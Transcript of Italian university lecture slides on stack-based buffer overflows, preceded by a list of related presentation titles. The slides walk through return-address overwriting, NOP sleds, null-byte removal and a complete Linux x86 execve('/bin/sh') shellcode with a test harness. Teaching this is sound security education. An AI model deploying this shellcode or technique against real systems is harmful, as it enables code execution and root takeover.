ICT security 2002/2003 1 Buffer Overflows (stack based) Alberto Ornaghi Lorenzo Cavallaro.

Slides:



Advertisements
Presentazioni simili
Puntatori Linguaggio C.
Advertisements

Exploiting Software: How To Break Code
Linux examples of Buffer overflow attacks
in un programma Assembler
Stringhe di caratteri In linguaggio C.
Procedure In assembler.
PUNTATORI Introduzione
Massa Laura Mela Enrica
Gestione della Memoria
SC che operano su processi
Progetto VAI Dimensione della Valutazione RISULTATI, ANALISI E MIGLIORAMENTO.
Algoritmi in C++ (1) da completare
ESEMPIO DI ALBERO BRANCH-AND-BOUND
Indirizzi delle variabili A ogni variabile sono associati tre concetti fondamentali: il valore memorizzato; il tipo dati di appartenenza; lindirizzo. Il.
Fondamenti di Informatica II Ingegneria Informatica / Automatica (A-I) Meccanica Prof. M.T. PAZIENZA a.a – 3° ciclo.
Argomenti dalla linea dei comandi Gli argomenti possono essere passati a qualsiasi funzione di un programma, compresa la main(), direttamente dalla linea.
Università degli Studi di Roma La Sapienza Architettura degli elaboratori II Funzioni.
Prof.ssa Chiara Petrioli -- Fondamenti di programmazione, a.a. 2009/2010 Corso di Fondamenti di programmazione a.a. 2009/2010 Prof.ssa Chiara Petrioli.
DIPARTIMENTO DI ELETTRONICA E INFORMAZIONE Puntatori Marco D. Santambrogio – Ver. aggiornata al 21 Marzo 2013.
DIPARTIMENTO DI ELETTRONICA E INFORMAZIONE Stringhe e Puntatori Marco D. Santambrogio – Ver. aggiornata al 18 Marzo 2013.
Buffer overflow attack and defense
Laboratorio di Linguaggi lezione VIII Marco Tarini Università dellInsubria Facoltà di Scienze Matematiche, Fisiche e Naturali di Varese Corso di Laurea.
Laboratorio di Linguaggi P R I M O C O M P I T I N O Marco Tarini Università dellInsubria Facoltà di Scienze Matematiche, Fisiche e Naturali di Varese.
Threads: Sistemi Operativi I Corso di Laurea in Ingegneria Informatica
CALCOLATORI ELETTRONICI Gestione delle subroutine.
Gestione delle subroutine
Le tecniche di vendita come fattore di successo
Processi, Thread, Multitasking, Multithreading. Ingredienti 1 CPU 1 Memoria RAM Tanti programmi che condividono la stessa memoria Esigenza di far girare.
memoria gestita staticamente:
7) Creazione di un programma eseguibile
Creazione di un programma eseguibile. Laboratorio di Calcolo AA2005/062 Livelli di programmazione Si può programmare a diversi livelli utilizzando linguaggi.
Organizzazione della Memoria (Unix) Text contiene le istruzioni in linguaggio macchina del codice eseguibile, può essere condiviso in caso di processi.
A.A. 2010/2011Ambienti di Programmazione per il Software di Base1 (Es. – 6) Ambienti di Programmazione per il Software di Base Le Stringhe in C Input.
1 LINUX: struttura generale The layers of a UNIX system. User Interface.
Programmazione Avanzata
Quanto costano veramente le stock option ? Giulio Tagliavini, Università di Parma Milano, 10 ottobre 2003.
AN Fondam98 Puntatori Azioni e procedure Assegnamenti, indirizzi e puntatori.
IUM20048 lezione 26 marzo LERRORE UMANO. IUM20048 lezione 26 marzo Errore Atto, effetto di allontanarsi dalla verità o dalla norma convenuta.
Struttura del Computer
Sottoprogramma Un blocco di istruzioni, come ad esempio lanello di ritardo, può costituire un sottoprogramma (subroutine) a sé stante, richiamabile dal.
Internet e Posta elettronica Corsi UMTS 26 marzo Corso di formazione Università Bocconi Milano U.F.C. Internet Esplorazione pagine WEB Ricerca Posta.
Prof.ssa Chiara Petrioli -- Fondamenti di programmazione, a.a. 2009/2010 Corso di Fondamenti di programmazione a.a. 2009/2010 Prof.ssa Chiara Petrioli.
Laboratorio di Linguaggi lezione VII: variabili Globali e Locali Marco Tarini Università dellInsubria Facoltà di Scienze Matematiche, Fisiche e Naturali.
Passaggio di parametri per indirizzo
Introduzione al linguaggio assembly del microprocessore a parte
“ La qualità in diabetologia “
Sia TAPE una periferica di gestione di nastri magnetici in grado di acquisire/fornire dati a 8 bit, e sia CD una periferica di masterizzazione in grado.
Webbit How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro.
Complessità di un algoritmo
Gestione della Memoria
DIPARTIMENTO DI ELETTRONICA E INFORMAZIONE Puntatori Marco D. Santambrogio – Ver. aggiornata al 11 Ottobre 2014.
1 M. Rebaudengo, M. Sonza Reorda Politecnico di Torino Dip. di Automatica e Informatica M. Rebaudengo - M. Sonza Reorda L’Assembler 8086 Procedure e Macro.
1 M. Rebaudengo, M. Sonza Reorda Politecnico di Torino Dip. di Automatica e Informatica M. Rebaudengo - M. Sonza Reorda L’Assembler 8086 Istruzioni per.
Fondamenti di Informatica II Ingegneria Informatica (A-I) Prof. M.T. PAZIENZA a.a – 3° ciclo.
1 SC che operano su processi Getpid, fork, exec, wait, waitpid, exit, dup, dup2.
Buffer Overflow G G ianluca Mazzei A A ndrea Paolessi S S tefano Volpini Corso di Sistemi Operativi Prof. Alfio Andronico Prof.ssa Monica Bianchini.
In grado di effettuare molte azioni elementari indipendenti automa universale generatore di sequenze riconoscitore di sequenze circuiti sequenziali sommatore.
Gestione della Memoria. Scenario 1 o più CPU Un certo quantitativo di memoria Una memoria di massa.
1 Il linguaggio C Precisazioni sull’esperienza in laboratorio.
Operatori di incremento e decremento
1 Gestione della Memoria Capitolo Introduzione alla gestione della memoria 4.2 Swapping 4.3 Memoria virtuale 4.4 Implementazione 4.5 Algoritmi di.
Fondamenti di Informatica1 Linguaggi Diversi tipi di linguaggi: –Imperativi –Funzionali –Dichiarativi Tutti basati sulla traduzione nell'unico linguaggio.
1 System Call che operano su processi Getpid, fork, exec, wait, waitpid, exit, dup, dup2.
1 1. Introduzione alla gestione della memoria 2. Swapping 3. Memoria virtuale 4. Implementazione 5. Algoritmi di sostituzione Gestione della Memoria.
Esercizi.
1 System Call ancora Vediamo passo passo come funziona una SC.
1 System Call che operano su processi Getpid, fork, exec, wait, waitpid, exit, dup, dup2.
Processi, Thread, Multitasking, Multithreading (Thread-Fu)
Stringhe Una stringa è un vettore di char con un carattere costante \0 che indica la fine della stringa il terminatore rende differenti gli array di char.
CORRISPONDENZA C++ ASSEMBLER
Transcript della presentazione:

ICT security 2002/ Buffer Overflows (stack based) Alberto Ornaghi Lorenzo Cavallaro

ICT security 2002/20032 Table of contents Introduzione allIA-32 Introduzione allIA-32 Problema Problema Code Injection Code Injection Shellcode Shellcode

ICT security 2002/ Introduzione

4 Record di attivazione Return Address - E lindirizzo a cui viene ceduto il controllo una volta terminata lesecuzione della funzione. Base Pointer - E il contenuto del registro EBP al momento della chiamata alla funzione. Rappresenta il puntatore al record di attivazione precedente che deve essere ripristinato al termine della funzione ret address base pointer automatic variables... high low

ICT security 2002/20035 Sullo stack int foo(int a, int b) { int i = 5; return (a + b) * i; } int main(int argc, char **argv) { int c = 3, d = 4, e = 0; e = foo(c, d); printf(e = %d\n, e); } 4 3 high low stack ret address base pointer 5

ICT security 2002/20036 RDA innestati int foo(int a, int b) { bar(a, b); } int bar(int a, int b) {... } int main(int argc, char **argv) { foo(c, d); } d c high low b a ret address base pointer ret address base pointer

ICT security 2002/20037 Registri della CPU EIP: instruction pointer puntatore allistruzione successiva EBP: frame pointer puntatore riferito alla base del record di attivazione (fisso) ESP: stack pointer puntatore riferito al top della stack (mobile) d c high low ret address base pointer b ret address base pointer a

ICT security 2002/20038 Prologo ed epilogo Prologo: Prologo: push %ebp(salva %ebp) mov %ebp, %esp(sposta %esp) Epilogo Epilogo leave(ripristina %esp e %ebp) ret(ripristina %eip)

ICT security 2002/20039 Variabili automatiche Int foo(int a, int b) { int i, j; char buf[9]; … } Lallineamento di default sullo stack e a double word (4 byte) I buffer vengono estesi per essere allineati a 4 byte b a high low ret address base pointer i j buffer pad

ICT security 2002/ Problema

11 Situazione normale int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, sicurezza); } b a high low ret address base pointer s i c u r e z z a B A 7A

ICT security 2002/ Situazione critica int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, sicurezzabcde); } b a high low ret address base pointer 5 e s i c u r e z z a b c d A 7A Buffer Overflow

ICT security 2002/ Situazione molto critica int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, sicurezzaaaabbbbcccceeeeffff); } b a high low ret address base pointer A 7A Ret Overflow Segmentation fault... EIP = 0x

ICT security 2002/ Code Injection

ICT security 2002/ Modifica del ret address b a high low 0xbffffcab 0xbffffca7 0xbffffc8b 8B FC FF BF int a = 3; int b = 5; int e; e = foo(a, b); printf(%d\n, e); ret address base pointer ret addr

ICT security 2002/ Guessing del ret addr (1) Non esiste un algoritmo efficiente per trovare il ret addr Procediamo empiricamente tenendo conto che: il S.O. usa memoria virtuale e paginazione 0xbfffffff 0xbffffffb 0xbffffff7 0xbffffff3 0xbfffffff 0xbffffffb 0xbffffff7 0xbffffff3 Processo 1Processo 2 high low

ICT security 2002/ Guessing del ret addr (2) env argv RDA main RDA foo high low Limmagine dei processi e cosi strutturata: Limmagine dei processi e cosi strutturata: RDA bar offset fisso offset variabile

ICT security 2002/ Guessing del ret addr (3) lo stack pointer (esp) e una buona base dalla quale poter togliere (o aggiungere) un offset; quindi lindirizzo cosi ottenuto e un buon candidato come retaddr del programma vulnerabile. buf[4] buf[0] a esp ret addr b offset (8) high low

ICT security 2002/ Problematiche Le funzioni di copia per le stringhe (strcpy, gets, ecc) copiano fino al primo NULL byte (terminatore per le stringhe). Le funzioni di copia per le stringhe (strcpy, gets, ecc) copiano fino al primo NULL byte (terminatore per le stringhe). Il codice iniettato non dovra contenere NULL byte Il codice iniettato non dovra contenere NULL byte code[] = \xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47; strcpy(buf, code); buf = \xeb\x2a\x5f\xc6\x47\x07

ICT security 2002/ Facilitazioni Per aumentare la probabilita di trovare il ret addr e possibile preparare una pista di atterraggio di NOP (0x90) (istruzione macchina che non fa nulla). Per aumentare la probabilita di trovare il ret addr e possibile preparare una pista di atterraggio di NOP (0x90) (istruzione macchina che non fa nulla). ret address CODE INJE ret addr allargato CTED

ICT security 2002/ Struttura del buffer Il buffer che verra iniettato nel programma vulnerabile avra una struttura simile a questa: Il buffer che verra iniettato nel programma vulnerabile avra una struttura simile a questa: NOP EXECUTABE CODERET ADDR code[] = \x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf; attenzione !!

ICT security 2002/ Considerazioni... Il buffer potrebbe essere troppo piccolo per contenere un codice utile Il buffer potrebbe essere troppo piccolo per contenere un codice utile Lo stack potrebbe non essere eseguibile Lo stack potrebbe non essere eseguibile Il code puo essere messo in qualsiasi punto della memoria (non solo sullo stack, e non solo nel buffer) Il code puo essere messo in qualsiasi punto della memoria (non solo sullo stack, e non solo nel buffer)

ICT security 2002/ Lo shellcode

ICT security 2002/ exec.c #include int main() { char *shell[] = { "/bin/sh", NULL }; execve(shell[0], shell, NULL); }

ICT security 2002/ Disasm main push %ebp mov %esp, %ebp sub $0x18, %esp movl $0x809cd00, 0xfffffff8(%ebp) mov 0xfffffff8(%ebp), %eax and 0xfffffff0, %esp mov %eax, 0xfffffff0(%ebp) push %eax push $0x0 movl $0x0, 0xfffffffc(%ebp) lea 0xfffffff0(%ebp), %eax mov 0xfffffffc(%ebp), %edx push %eax mov %edx, 0xfffffff4(%ebp) push 0xfffffff0(%ebp) call 0x804cab0 $0x0 ($0x809cd00)$0x809cd00 base pointer $0x809cd00

ICT security 2002/ Disasm execve mov $0x8(%ebp), %edi mov $0xc(%ebp), %ecx mov $0x10(%ebp), %edx mov %edi, %ebx mov $0xb, %eax int $0x80 $0x0 ($0x809cd00)$0x809cd00 ret address base address

ICT security 2002/ registri mov $0x8(%ebp), %edi mov $0xc(%ebp), %ecx mov $0x10(%ebp), %edx mov %edi, %ebx mov $0xb, %eax int $0x80 eax = 0xb ebx = /bin/sh ecx = (/bin/sh, NULL) edx = (0x0) sh-2.03# id uid=0(root) gid=0(root) groups=0(root)

ICT security 2002/ Lo shellcode eax = 0xb ebx = /bin/sh ecx = (/bin/sh, NULL) edx = (0x0) Supponiamo di avere lindirizzo sullo stack di /bin/sh nel registro %edi movb $0x0, 0x7(%edi)#terminazione movl %edi, 0x8(%edi)#indirizzo movl $0x0, 0xc(%edi)#NULL lea 0xc(%edi), %edx#envp NULL lea 0x8(%edi), %ecx#array mov %edi, %ebx#/bin/sh mov $0xb, %eax int $0x80#syscall

ICT security 2002/ Lo shellcode edi = /bin/sh Come troviamo lindirizzo sullo stack di /bin/sh ??? jmp string_addr after_jmp: pop %edi [...] string_addr: call after_jmp.string \"/bin/sh\" Shellcode pagina precedente

ICT security 2002/ Opcode dello shellcode jmp string_addr # 0xeb 0x1e after_jmp: pop %edi # 0x5f movb $0x0, 0x7(%edi) # 0xc6 0x47 0x07 0x00 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl $0x0, 0xc(%edi) # 0xc7 0x47 0x0c 0x00 0x00 0x00 lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb mov $0xb, %eax # 0xb8 0x0b 0x00 0x00 0x00 int $0x80 # 0xcd 0x80 string_addr: call after_jmp # 0xe8 0xd1 0xff 0xff 0xff.string \"/bin/sh\"

ICT security 2002/ Eliminazione null bytes movl $0x0b, %eax { xorl %eax, %eax movb %0x0b, %al movb $0x00, 0xc(%edi) { xorl %eax, %eax movb %al, 0xc(%edi)

ICT security 2002/ Shellcode finale jmp string_addr # 0xeb 0x18 after_jmp: pop %edi # 0x5f xorl %eax, %eax # 0x31 0xc0 movb %al, 0x7(%edi) # 0x88 0x47 0x07 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl %eax, 0xc(%edi) # 0x89 0x47 0x0c lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb movb $0xb, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80 string_addr: call after_jmp # 0xe8 0xde 0xff 0xff 0xff.string \"/bin/sh\"

ICT security 2002/ Testing dello shellcode char shellcode[] = "\xeb\x1d\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89 \x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b \xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; int main() { void (*f)(void) = (void (*)(void))shellcode; f(); } sh-2.03# id uid=0(root) gid=0(root) groups=0(root)

ICT security 2002/ –Lorenzo Cavallaro –Lorenzo Cavallaro –Alberto Ornaghi –Alberto Ornaghi Mailing list del corso (per domande tecniche) Mailing list del corso (per domande tecniche)